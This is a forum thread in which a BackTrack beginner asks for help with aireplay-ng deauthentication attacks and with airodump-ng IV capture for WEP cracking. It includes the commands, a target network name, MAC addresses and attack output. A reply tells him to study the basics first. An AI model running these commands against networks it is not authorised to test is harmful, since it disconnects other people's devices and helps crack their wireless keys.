Regarding Wifi scanning_aireplay-ng & airodump-ng

[demontager]

I'm first time using BackTrack and after trying to scan wifi encrypted networks few quastion arrised
My card is built-in Intel 5100, and BackTrack4 distro running from USB flash.
1. When i use aireplay-ng to make deauth attack, it can't make it on spicified channel.

root@bt:~# aireplay-ng -e SeaOcelotWL -a 00:1E:C1:B6:63:00 -c 00:13:02:27:33:45 --deauth 10 mon0
02:01:02 Waiting for beacon frame (BSSID: 00:1E:C1:B6:63:00) on channel 2
02:01:03 mon0 is on channel 2, but the AP uses channel 11
root@bt:~# aireplay-ng -e SeaOcelotWL -a 00:1E:C1:B6:63:00 -c 00:13:02:27:33:45 --deauth 10 mon0
02:01:05 Waiting for beacon frame (BSSID: 00:1E:C1:B6:63:00) on channel 1
02:01:05 mon0 is on channel 1, but the AP uses channel 11
root@bt:~# aireplay-ng -e SeaOcelotWL -a 00:1E:C1:B6:63:00 -c 00:13:02:27:33:45 --deauth 10 mon0
02:01:07 Waiting for beacon frame (BSSID: 00:1E:C1:B6:63:00) on channel 5
02:01:07 mon0 is on channel 5, but the AP uses channel 11

but sometimes it hit after 4-10 efforts

root@bt:~# aireplay-ng -e SeaOcelotWL -a 00:1E:C1:B6:63:00 -c 00:13:02:27:33:45 --deauth 10 mon0
02:00:38 Waiting for beacon frame (BSSID: 00:1E:C1:B6:63:00) on channel 11
02:00:38 Sending 64 directed DeAuth. STMAC: [00:13:02:27:33:45] [ 0|18 ACKs]
02:00:39 Sending 64 directed DeAuth. STMAC: [00:13:02:27:33:45] [ 0|13 ACKs]
02:00:40 Sending 64 directed DeAuth. STMAC: [00:13:02:27:33:45] [ 0|11 ACKs]
02:00:40 Sending 64 directed DeAuth. STMAC: [00:13:02:27:33:45] [ 0|21 ACKs]
02:00:40 Sending 64 directed DeAuth. STMAC: [00:13:02:27:33:45] [ 0| 0 ACKs]
02:00:41 Sending 64 directed DeAuth. STMAC: [00:13:02:27:33:45] [ 0|18 ACKs]
02:00:42 Sending 64 directed DeAuth. STMAC: [00:13:02:27:33:45] [ 0|14 ACKs]
02:00:42 Sending 64 directed DeAuth. STMAC: [00:13:02:27:33:45] [ 0| 6 ACKs]
02:00:43 Sending 64 directed DeAuth. STMAC: [00:13:02:27:33:45] [ 0|13 ACKs]
02:00:43 Sending 64 directed DeAuth. STMAC: [00:13:02:27:33:45] [ 0| 0 ACKs]

So How to set aireplay-ng to make deauth on 11 channel? Why it makes it on random channels?

2. What does it mean? here I'm trying to make dump of WEP keys. What is wrong?
root@bt:~# airodump-ng --ivs --band g --channel 7 --write dump mon0
Invalid output format: IVS and PCAP format cannot be used together

I know that you dont want to hear it : first learn basics of linux and do much reading at aircrack-ng.org site then when you have some picture about linux and wep cracking go back to BT.

This is best to do and also you will have much more fun with wep cracking and BT in general. Not just type -2 because you see it somewhere.

I know answer to your two problems but its answered 100 times and i will not answer your question because then you will correct it and then again post that you have problem somwhere else that you dont get ivs or something simillar so i give you friend advice learn basics and do much reading.

Mastering tools isnt piece of cake and other members can tell you that it gives you many sleepless nights.

Actually you are right, think i posted it due to my unpatienced willingness to try BT4 stuff without reading basics, just because I don't have so much time to read it, i'm seaman and i work 6/6 hours.
